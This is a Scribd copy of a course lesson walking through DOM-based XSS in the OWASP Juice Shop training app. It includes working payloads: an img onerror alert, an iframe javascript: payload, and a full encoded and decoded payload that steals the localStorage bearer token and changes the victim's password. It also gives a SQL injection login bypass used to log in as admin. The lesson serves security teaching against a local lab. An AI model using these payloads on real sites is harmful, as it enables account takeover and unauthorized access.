0% found this document useful (0 votes)
20 views8 pages

DOM-based XSS Attacks

The document details the process of identifying and exploiting DOM-based XSS vulnerabilities in the OWASP Juice Shop application, focusing on the search bar functionality. It explains how to use browser DevTools to analyze network requests and manipulate input fields to inject malicious scripts, ultimately demonstrating a method to change user passwords via crafted XSS payloads. Additionally, it highlights the importance of understanding how different HTML elements interact with JavaScript execution in the context of XSS attacks.

Uploaded by

jimmybreak44
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
20 views8 pages

DOM-based XSS Attacks

The document details the process of identifying and exploiting DOM-based XSS vulnerabilities in the OWASP Juice Shop application, focusing on the search bar functionality. It explains how to use browser DevTools to analyze network requests and manipulate input fields to inject malicious scripts, ultimately demonstrating a method to change user passwords via crafted XSS payloads. Additionally, it highlights the importance of understanding how different HTML elements interact with JavaScript execution in the context of XSS attacks.

Uploaded by

jimmybreak44
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 8

DOM-based XSS Attacks (OWASP Juice Shop)

Alright, so we’ve gathered information about our target, and now it’s time to try and find some
DOM-based XSS. My first area of focus will be the search bar, since that’s an all around good
one to start with.

I’ll open up my DevTools on the network tab to get information about what’s being returned by
the back-end. We could also use Zap for this, by the way, if you prefer. Then, load the Juice
Shop homepage if you haven’t already, but if you have, just go ahead and refresh the page with
your DevTools open.

Even before submitting our search query, looking at the Network tab, we can see the resources
being loaded for this page, and there’s an interesting one named /application-configuration that
we’ll open up. You can scroll through and find interesting information, and in fact, under
Challenges, we’ll even find something called xssBonusPayload:

<iframe ​width​=​"100%"​ ​height​=​"166"​ ​scrolling​=​"no"​ ​frameborder​=​"no"


allow​=​"autoplay"
src​=​"https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/trac
ks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comment
s=true&show_user=true&show_reposts=false&show_teaser=true"​></iframe>

We’ll come back to that, so save it for now. Feel free to look at the other challenges information,
but that’s all I need for now!

Now, let’s submit our ‘test’ search.

© Cybr, Inc. All Rights Reserved


As you can see, one result gets pulled up, we see our ‘test’ string in the search bar, and we see
it on the page itself. So our search query gets shown on the page, which tells me that this is
definitely an input field that I’ll want to test for vulnerability.

In the Network tab, under the ​/api/​Quantitys​ response, we see product IDs, quantities, limits
per user, and some other information.

The ​search​?q=​ response which shows us products being returned, and how this information is
structured, which can potentially be useful down the road, and at the very least helps us
understand further how the application works.

© Cybr, Inc. All Rights Reserved


Now because it returned all of the product information on page load, instead of just what was
searched for, that’s a pretty good indication that this search is using front-end JavaScript code
to filter results instead of going back to the server every time we search for something. We can
verify that by submitting another search request (ie: ‘apple’) and watching the network tab for
any changes.

As we submit a new request with our DevTools open, we notice that no new network request
has been generated, which tells me it’s probably filtering the results via client-side code.

Let’s try some manual approaches to see what’s going on. Let’s see if we can create new HTML
tags:

<​script​>

Looks like we can! Let’s try to pop up an alert.

<​script​>alert(1)</​script​>

© Cybr, Inc. All Rights Reserved


We see that it gets added, but no alert box. This means that, although the JavaScript is getting
injected, it’s not executing. We’ll come back to why that is in a moment.

Let’s try something a bit different.

<img ​src​=​'x'​ ​onerror​=​'alert(1)'​ />


Alright, that works! Congrats, we have found our first XSS vulnerability in the OWASP Juice
Shop.

© Cybr, Inc. All Rights Reserved


Unfortunately, because of how the Juice Shop is set up, we haven’t triggered a successful
challenge completion. The reason is because the application expected a different payload. It
expected this one:

<iframe src=​"javascript:alert(`xss`)"​>

So its important to keep in mind that there are multiple ways of exploiting a vulnerability!

Now why did the script tags not work earlier even though both the img and iframe tags worked?
If you remember from a prior lesson, there are a number of JavaScript methods that can insert
HTML elements in the DOM, and ​.innerHTML​ is one of those, and that’s the method being used
in this search functionality. But, according to W3.org

script elements inserted using innerHTML do not execute when they are inserted.
https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0

That’s why our script tag gets inserted, but not executed, and that’s why we had to use a
different payload for this DOM-based vulnerability. The different payload, which was:

<img ​src​=​'x'​ ​onerror​=​'alert(1)'​ />

Did work, because JavaScript inside of an event handler as an attribute — in this case, the
onerror​=​'alert(1)'​ — is executed as soon as a particular event occurs.

Because we’re trying to load an image from an invalid source, we trigger that event once it’s
added to the DOM.

© Cybr, Inc. All Rights Reserved


As we’ve talked about, alert boxes can help with proof of concepts, but they basically serve no
other purpose. When you want to exploit a vulnerability, you don’t usually generate a pop-up
window that tells the user they’ve been compromised. Instead, you want to do something
practical.

In this next example, that’s exactly what we’ll do. We will use an exploit created by Joe Butler
and described in his blog post: ​https://incognitjoe.github.io/hacking-the-juice-shop.html

This exploit leverages the search XSS vulnerability to perform a Coss-Site Request Forgery,
which will let us modify a user’s password to whatever we want. Let’s take a look at how it
works.

This application has an endpoint at

http:​//​localhost:​3000​/rest/u​ser​/change-password

Which we were able to find with our information gathering steps from a prior lesson.

That endpoint lets users change their passwords. Typically, when changing passwords, you
want the user to first input their current password, and then input their new password, followed
by a third input that confirms the new password. However, Joe realized that the endpoint only
requires the new and confirm inputs, not the current password input. So instead of:

http://localhost:3000/rest/user/​change​-​password​?​current​=​current​&​new​=​new​&​rep
eat​=​repeat

You could simply have:

http://localhost:3000/rest/user/​change​-​password​?​new​=​new​&​repeat​=​repeat

Knowing that, we can craft an XSS payload that makes a request to that endpoint and sets the
new password to what we’d like. The end result is this payload:

http​://localhost:3000/#/search?q=​%3​Ciframe​%20​src​%3​D​%22​javascript​%3​Axmlhttp​%
20%3​D​%20​new​%20​XMLHttpRequest​%28%29%3​B​%20​xmlhttp.open​%28%27​GET​%27%2​C​%20%27​ht
tp​%3​A​%2​F​%2​Flocalhost​%3​A3000​%2​Frest​%2​Fuser​%2​Fchange-password​%3​Fnew​%3​DslurmCl
4ssic​%26​amp​%3​Brepeat​%3​DslurmCl4ssic​%27%29%3​B​%20​xmlhttp.setRequestHeader​%28%
27​Authorization​%27%2​C​%60​Bearer​%3​D​%24%7​BlocalStorage.getItem​%28%27​token​%27%2
9%7​D​%60%29%3​B​%20​xmlhttp.send​%28%29%3​B​%22%3​E
If we decode that payload, the HTML ends up looking like this:

© Cybr, Inc. All Rights Reserved


<iframe src=​"javascript:xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET',
'http://localhost:​3000​/rest/user/change-password?new=slurmCl4ssic&amp;repea
t=slurmCl4ssic');

xmlhttp.setRequestHeader('Authorization',`Bearer=${localStorage.getItem('to
ken')}`);
xmlhttp.send();​">
</iframe>

We use an iframe since we can’t use the script tags, and then we create an ​XMLHttpRequest​()
which issues an HTTP request to exchange information between the website and a server, in
this case the targeted endpoint
http://localhost:3000/rest/user/​change​-​password​?​new​=slurmCl4ssic;repeat=slurm
Cl4ssic​. Then, we ​setRequestHeader​ of ​Authorization​ ​by grabbing the user’s own token
from their browser’s local storage! Pretty nifty trick.

That makes it so that we can make requests on the user’s behalf, without them even realizing it.

After crafting the request, we ​send​()​ it over.

Now for this to work, we have to be logged in. To do that, let’s go to Login. You can create an
account if you’d like, but to save some time, I’ll use an SQL injection to log in as the admin user.

In the username field, type ​' ​or​ ​1​=​1​;​--​ and the password can be whatever you want. This is
an SQL injection that I found and explained in my ​Injection Attacks: The Free Guide course​, so I
won’t explain it here, but this will log us in as an administrator of the application.

Now that we’re logged in, we can execute our payload by loading this page and pretending that
someone sent us that link under false pretenses.

http​://localhost:3000/#/search?q=​%3​Ciframe​%20​src​%3​D​%22​javascript​%3​Axmlhttp​%
20%3​D​%20​new​%20​XMLHttpRequest​%28%29%3​B​%20​xmlhttp.open​%28%27​GET​%27%2​C​%20%27​ht
tp​%3​A​%2​F​%2​Flocalhost​%3​A3000​%2​Frest​%2​Fuser​%2​Fchange-password​%3​Fnew​%3​DslurmCl
4ssic​%26​amp​%3​Brepeat​%3​DslurmCl4ssic​%27%29%3​B​%20​xmlhttp.setRequestHeader​%28%
27​Authorization​%27%2​C​%60​Bearer​%3​D​%24%7​BlocalStorage.getItem​%28%27​token​%27%2
9%7​D​%60%29%3​B​%20​xmlhttp.send​%28%29%3​B​%22%3​E

We can watch this in action by opening up the network tab, looking at the request, and checking
out the response. Then, we can log out of our logged in user and log back in with the password
slurmCl4assic​ ​and username ​admin​@​juice​-​sh​.​op

© Cybr, Inc. All Rights Reserved


This is a really nifty payload, and props again to Joe for figuring it out!

As we wrap up this lesson, there is one more bonus XSS payload made for fun by the creators
of the Juice Shop, which is this payload that we found and saved from the beginning of this
lesson:

<iframe ​width​=​"100%"​ ​height​=​"166"​ ​scrolling​=​"no"​ ​frameborder​=​"no"


allow​=​"autoplay"
src​=​"https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/trac
ks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comment
s=true&show_user=true&show_reposts=false&show_teaser=true"​></iframe>

So go ahead and inject it in the search bar and see what it does! It should trigger a challenge
completion.

That’s it for this lesson! Go ahead and complete it and I will see you in the next!

© Cybr, Inc. All Rights Reserved

You might also like